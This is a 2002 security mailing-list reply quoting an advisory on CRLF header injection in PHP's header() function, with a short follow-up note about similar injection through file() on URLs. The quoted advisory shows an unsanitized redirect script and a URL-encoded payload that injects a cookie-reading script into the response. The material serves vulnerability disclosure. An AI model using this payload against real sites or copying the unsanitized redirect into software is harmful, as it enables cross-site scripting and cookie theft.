RE: PHP header() CRLF Injection

From: Eric Stevens (mightye@mightye.org)
Date: 09/09/02


From: "Eric Stevens" <mightye@mightye.org>
To: "Matthew Murphy" <mattmurphy@kc.rr.com>, "VulnDiscuss" <vulndiscuss@vulnwatch.org>, "VulnWatch" <vulnwatch@vulnwatch.org>, "Vuln-Dev" <vuln-dev@securityfocus.com>, "SecurITeam News" <news@securiteam.com>, "BugTraq" <bugtraq@securityfocus.com>
Date: Mon, 9 Sep 2002 12:38:51 -0400

A similar but far less dangerous vulnerability exists with the file() (and
most file read related functions) function when passing a URL as the file to
open (given that you have compiled PHP with appropriate options to allow
this). You have the capacity to add header information to the GET request,
if you are clever about it, including keepalive, and additional requests
that the original author hadn't counted on. Such cleverness is left as an
exercise to the reader (if you use HTTP/1.1 instead of 1.0, you may receive
unparsed chunking, severely limiting what little damage could normally be
done).

At this point, I would like to re-voice my general objection to passing
unparsed data entered by one untrusted user directly to anyone's browser.
In general you should always know what sort of regexp any valid user input
matches, and clean it up with preg_replace() or similar function before
passing it out to the browser. In my mind, this is a task for each
developer, although it sure would be nice if it was redundant security.

-MightyE

-----Original Message-----
From: Matthew Murphy [mailto:mattmurphy@kc.rr.com]
Sent: Saturday, September 07, 2002 6:37 PM
To: VulnDiscuss; VulnWatch; Vuln-Dev; SecurITeam News; BugTraq
Subject: PHP header() CRLF Injection

PHP's header() function is used to modify HTTP header information by
specifying a header line, such as this:

<?php header("Location: http://www.yahoo.com/"); ?>

It is commonplace to see things such as this:

--- REDIR.PHP ---
<?php header("Location: $_GET['$url']"); ?>
--- REDIR.PHP ---

http://localhost/redir.php?url=%68%74%74%70%3A%2F%2F%77%77%77%2E%79%61%68%6F
%6F%2E%63%6F%6D%2F%0D%0A%0D%0A%3C%53%43%52%49%50%54%3E%61%6C%65%72%74%28%64%
6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%53%43%52%49%50%54%3E%3C%2
1%2D%2D

Will cause a series of lines to be produced:

HTTP/1.1 302 Found
Server: Xitami
Date: Sat, 07 Sep 2002 21:50:17 GMT
Content-length: 96
Content-type: text/html
X-powered-by: PHP/4.2.3
{Location: http://www.yahoo.com/

<SCRIPT>alert(document.cookie)</SCRIPT><!--} <-- See our code in
between the brackets
Content-type: text/html

The HTML produced is "broken" -- that is, it doesn't comply to RFC
standards,
because it doesn't have a "-->" tag. I did this to supress the stupid
"Content-type"
header that PHP was dumping in the response.

By using this, attackers can perform cross-site scripting attacks or
initiate downloads, in rare cases (via HTTP headers, such as
content-dispostion, etc.)

"The reason the mainstream is thought
of as a stream is because it is
so shallow."
                     - Author Unknown